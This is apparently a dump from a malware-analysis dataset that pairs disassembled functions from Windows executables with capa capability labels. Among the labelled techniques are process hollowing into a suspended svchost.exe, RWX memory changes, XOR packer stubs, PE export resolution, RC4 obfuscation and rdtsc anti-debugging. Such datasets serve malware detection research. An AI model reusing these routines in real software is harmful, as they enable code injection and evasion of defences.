joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401114
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422004]
jne 0x40111e
repz ret
jmp fcn.004015dd

Function at 0x405f52
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404499
and dword [ebp - 4], 0
cmp dword [0x4244b4], 0
mov ebx, eax
jne 0x406003
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4060b4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4060b4
push eax
call fcn.00404427
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4244b4], eax
call esi
push eax
call fcn.00404427
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4244b8], eax
call esi
push eax
call fcn.00404427
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4244bc], eax
call esi
push eax
call fcn.00404427
pop ecx
mov dword [0x4244c4], eax
test eax, eax
je 0x406003
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404427
pop ecx
mov dword [0x4244c0], eax
mov eax, dword [0x4244c0]
cmp eax, ebx
je 0x40605b
cmp dword [0x4244c4], ebx
je 0x40605b
push eax
call fcn.004044a2
push dword [0x4244c4]
mov esi, eax
call fcn.004044a2
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40605b
test edi, edi
je 0x40605b
call esi
test eax, eax
je 0x406052
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406052
test byte [ebp - 0xc], 1
jne 0x40605b
or dword [ebp + 0x10], 0x200000
jmp 0x406094
mov eax, dword [0x4244b8]
cmp eax, ebx
je 0x406094
push eax
call fcn.004044a2
pop ecx
test eax, eax
je 0x406094
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406094
mov eax, dword [0x4244bc]
cmp eax, ebx
je 0x406094
push eax
call fcn.004044a2
pop ecx
test eax, eax
je 0x406094
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4244b4]
call fcn.004044a2
pop ecx
test eax, eax
je 0x4060b4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4060b6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41e23b
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
cmp esi, 0x5026c
jne 0x41e2d8
mov dword [ebp - 4], 0x20
add dword [ebp - 4], 0x20
push 0x4245d8
mov byte [0x4245d8], 0x6b
mov byte [0x4245d9], 0x65
mov byte [0x4245da], 0x72
mov byte [0x4245db], 0x6e
mov byte [0x4245dc], 0x65
mov byte [0x4245dd], 0x6c
mov byte [0x4245de], 0x33
mov byte [0x4245df], 0x32
mov byte [0x4245e0], 0x2e
mov byte [0x4245e1], 0x64
mov byte [0x4245e2], 0x6c
mov byte [0x4245e3], 0x6c
mov byte [0x4245e4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 8]
push eax
push 0x40
push dword [0x42499c]
push dword [0x4248e4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, 0x36edcb
jl 0x41e243
pop esi
leave
ret
Function at 0x41e4b2
Capabilities:
Clear file content
Create pipe
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42499c]
push ebx
mov ebx, dword [0x4248e4]
push esi
xor esi, esi
mov dword [ebp - 0x10], eax
cmp eax, 0x5dd
jne 0x41e4d8
push esi
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
mov eax, dword [ebp + 8]
push dword [eax]
call fcn.0041e3dc
cmp dword [0x42499c], 0x2f
pop ecx
jne 0x41e53d
push edi
xor eax, eax
mov word [ebp - 0xc], ax
lea edi, [ebp - 0xa]
stosw word es:[edi], ax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xc]
push dword [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
pop edi
push ebx
mov ebx, dword [ebp - 0x10]
call fcn.0041e426
cmp dword [0x42499c], 0x568
pop ecx
jne 0x41e55a
push esi
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
pop esi
pop ebx
leave
ret
Function at 0x41e901
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x804
mov eax, dword [0x422004]
xor eax, esp
mov dword [esp + 0x800], eax
push esi
push edi
mov edi, 0x13ba1f
xor esi, esi
cmp dword [0x42499c], 0xbf9
jne 0x41e931
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
cmp dword [0x42499c], 0x3dc
mov dword [0x424990], 0x8e55ceaa
jne 0x41e95c
push esi
push str.xelaledovutihezebuyaxadecetezav
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
dec edi
jne 0x41e91e
cmp esi, 0x8465cd
jne 0x41e976
mov eax, dword [0x423a68]
add eax, 0xa231
mov dword [0x42499c], eax
cmp dword [0x42499c], 0x141
jne 0x41e9a3
push str.Debiluluyi_domuni_catuca_goherajoxaneh_tobo
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
or dword [0x424664], 0xffffffff
mov dword [0x424660], 0xec58acac
inc esi
cmp esi, 0x125483c
jl 0x41e95f
call fcn.0041e55e
mov ecx, dword [esp + 0x808]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00401114
add esp, 0x804
ret 0x10
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43e15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x43e168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x43e14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x43e145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x43e145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x429703
Capabilities:
Resolve function by parsing pe exports

Disassembly:
not edx
not edx
mov eax, 0
cld
clc
nop
cld
not ebp
not ebp
cld
dec esp
inc esp
cld
push eax
nop
sahf
wait
mov ch, ch
not dh
not dh
imul eax, eax, 0x10
stc
xchg dword [esp], eax
jmp 0x4295b6
add al, dl
lea edx, [edx + ebx]
sub cl, 0x31
push dword [edx + 0x20]
pop esi
lea esi, [ebx + esi]
jmp 0x42972c
cmp dh, 0x94
add esi, ebx
clc
ret 4
sahf
cmc
sub dword [esp], eax
cld
movzx eax, byte [edi]
sub edi, 0xffffffff
jmp 0x4297b3
mov edi, dword [edx + 0x1c]
cmp eax, 0xffffffa2
not eax
adc eax, 0xe68ae329
mov eax, 0x334a8761
cmp ah, 2
mov esi, dword [edx + 0x24]
dec dh
cld
add esi, ebx
xchg edx, edx
movzx eax, word [esi + ecx*2]
jmp 0x429671
mov dl, dh
add edi, ebx
mov esi, dword [edi + eax*4]
jmp 0x4295ad
lea ecx, [ecx]
not esi
not esi
not bl
not bl
jne 0x4250d3
xchg edx, edx
xchg edx, edx
lea ecx, [ecx]
xor eax, 0x69521502
jmp 0x4298e8
ret
push dword [ebx + 0x3c]
mov edx, ecx
cmp cl, 0xb8
xchg ecx, edi
xchg ecx, esi
nop
lahf
cld
sbb al, bl
pop eax
mov edi, ecx
mov edx, dword [eax + ebx + 0x78]
jmp 0x4294cc
add ecx, 1
cmp edi, 0xffffffa9
lodsd eax, dword [esi]
jmp 0x42979e
push 0xffffffffffffffff
xchg ah, al
cmp ah, dl
xchg edi, edi
not al
mov edi, esi
and al, dh
pop ecx
jmp 0x429720
lea edi, [eax + ebx]
xchg edx, ebp
xchg edx, ebp
cmp ecx, dword [edx + 0x18]
je 0x429700
jmp 0x4250be
sub dword [esp], eax
pop eax
test byte [edi], 0xff
jmp 0x429697
nop
sub eax, dword [esp + 4]
jne 0x429720
jmp 0x429617

Function at 0x40152e
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x40158a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0xa0
mov dword [ebp - 0x88], 0
call fcn.0040152e
mov dword [esp], 0x401664
mov dword [ebp - 0x8c], 0
mov ebx, eax
lea eax, [ebp - 0x8c]
mov dword [esp + 0xc], eax
mov eax, ebx
or eax, 0x40
mov dword [esp + 8], eax
mov eax, 0x4020c6
sub eax, 0x401664
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x40162d
mov dword [esp], ebx
lea esi, [ebp - 0x88]
call fcn.0040144c
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.004014ad
lea eax, [ebx + 0x1b600]
mov cl, bl
mov edx, 0x40300c
shl eax, cl
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov eax, edx
or eax, 1
imul ebx, eax
sub edx, ebx
mov dword [esp], edx
call fcn.00401dc9
lea esp, [ebp - 8]
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4018ec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x40
push 0x3000
push 0x984
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x1000103d
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000123a
mov esp, ebp
pop ebp
ret
push esi
push edi
lea eax, [ebp - 0x328]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x4c]
mov ecx, 0x261
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.svchost.exe
mov esi, 0x100128b0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
push 0
mov dword [ebp - 8], 0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 0x4c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001113
lea eax, [ebp - 0x318]
mov dword [ebp - 0x318], 0x10007
push eax
push dword [ebp - 0x324]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x100010ef
push 0x40
push 0x3000
push 0x984
push 0
push dword [ebp - 0x328]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x10001134
push 0
push dword [ebp - 0x328]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x324]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x328]
call esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000123a
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
push 0x984
push ebx
push edi
push dword [ebp - 0x328]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000116c
lea eax, [ebp - 0x318]
mov dword [ebp - 0x260], edi
push eax
push dword [ebp - 0x324]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x100011c5
push 0
push dword [ebp - 0x328]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x324]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x328]
call esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
push dword [ebp - 0x328]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000123a
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x324]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x324]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x328]
call esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000123a
mov esp, ebp
pop ebp
ret
Function at 0x10001210
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001231
push ecx
call fcn.10001000
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
pop ebp
ret 0xc

Function at 0x1000b0b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000b0dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000b0dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405850
Capabilities:
Encode data using xor

Disassembly:
push 0x63
push 2
push esi
push ebx
adc al, byte [eax + edx - 0x11]
add byte [edi], bh
fmul dword [ecx - 0x6214033c]
mov ebx, dword [ebp + 8]
mov esi, ebx
cmp dword [esi - 0x3b], 2
jne 0x405818
mov eax, dword [esi - 0x17cc5196]
mov eax, 0x8b2f7237
jbe 0x405823
mov esi, dword [esi + 8]
test esi, esi
mov esi, 0xb5ed8be9
inc esi
mov ch, 0x46
add al, 0x85
xor eax, 0xd78b0e55
push 0
push 0
dec edi
add byte [ebx + 0x4c7ae8], ah
add byte [0xf6850876], dh
jne 0x405821
pop esi
pop edi
pop ebx
mov ebx, ecx
xchg ebx, eax
nop
nop
nop
cwde
nop
nop
nop
cmp al, 0x90
seto byte [eax + 0x56a98b55]
push ebp
mov ebp, dword [ecx + 0xc758b56]
push ebp
mov ebp, dword [ecx + 0xc758b56]
xor eax, eax
loop 0x4058ba
je 0x405888
inc eax
mov edi, esi
xchg ebx, eax
leave
out dx, al
cld
jnp 0x4057f1
clc
xor bh, dh
ror dword [ecx - 0x75], 1
stc
inc edi
sbb eax, 0xf1ebe876
invalid
pop esi
pop ebp
ret 8
inc ebx
mov edi, dword [esi + 4]
retf
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x64a1ef9
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6935253a
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
pop ds
push edx
jne 0x414ac3
dec dword [edi + 0xb]
sar dword [eax + 0x4a], 0xda
clc
jmp 0x53d1e458
dec edi
or eax, ecx
js 0x414b13
invalid
invalid
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x52931bac
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6edf4288
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x67bf54
Capabilities:
Encrypt data using rc4 prga

Disassembly:
movzx ax, byte [ebp + eax - 0x48fb89a4]
adc ebp, 2
imul dl
mov word [ebp], ax
lea esp, [esp + 4]
jmp fcn.006aa887

Function at 0x68ea1a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
rol dx, 7
movzx dx, byte [ebp]
mov cl, byte [ebp + 2]
adc ebp, 2
sal dl, cl
mov word [ebp], dx
lea esp, [esp + 4]
jmp fcn.006aa887

Function at 0x69adc9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
inc dl
sete dl
mov edx, dword [ebp + edx - 0x5dbb75fc]
jns 0x80f127
jmp 0x708818

Function at 0x6b0fa9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea ebp, [ebp + ebp + 0x32208381]
mov edx, dword [esp + ebp - 0x4c10837d]
test ebp, 0xfabb1ea5
jbe 0x690165
ja 0x9439be
mov ecx, 0x61cafa2
sar cx, cl
mov eax, dword [edi + ecx - 0x61cebe8]
sar cl, 0xc6
ror ecx, 0xa1
mov ecx, dword [edi + 4]
push 0xe02e42b6
add edi, 4
jmp 0x82f8b1
not byte [esp + 1]
lea esp, [esp + 4]
jmp fcn.007ba3f6
xor edx, edx
test ecx, ecx
lea esp, [esp + 4]
je 0x94435a
push 0x71847f11
rol byte [esp + 1], 0x42
mov dword [esp], edi
mov ebp, dword [esp + ebp - 0x4c108375]
add dword [esp], 0xff96fe74
push dword [esp + 8]
popfd
lea esp, [esp + 0x14]
call fcn.007095e3
mov esi, edi
push 0x9298586
sub edi, 2
mov word [edi], si
jmp 0x8262f2

Function at 0x6b1c8b
Capabilities:
Encode data using xor

Disassembly:
dec ecx
sbb ebx, 1
dec eax
sal edi, 0x37
inc ecx
mov edx, 0x7c00cfa7
inc ebx
movzx edi, byte [ebx + edx - 0x7c00cfa7]
dec esi
mov dword [esp + edx - 0x7c00cfa7], edx
inc dx
rol dword [esp + edx - 0x7c00cfa1], 0x2e
inc ecx
xor bh, ch
inc ecx
sub bh, dl
inc eax
neg bh
inc ebp
xor edx, edx
dec edx
not dword [esp + edx]
call int.007cb7f4
pop ebx
xor edx, dword [ebp - 0x18]
adc al, 0x51
xchg ecx, eax
leave
mov dword [0x3793fa1a], eax
sub ebx, dword [ebp - 8]
insb byte es:[edi], dx
in eax, 0x61
xor eax, 0x17b23a5b
neg dword [edi]
and eax, 0x49c94c84
invalid

Function at 0x6c0616
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
ror edi, 3
mov ebp, 0x228ded11
shl ebp, 0xc1
not bp
dec edi
ror edi, 3
lea edi, [edi + ebp - 0x3f7927d8]
jmp 0x6c060e
jmp 0x672ed4
push ecx
bswap ebp
call fcn.0094c0c8
mov eax, 0x18ab61a9
ror al, 0x23
rdtsc
dec eax
sbb ebp, 8
mov dword [ebp + 4], eax
call fcn.00813a2d
pushfd
pop dword [esp]
jmp 0x68d6c3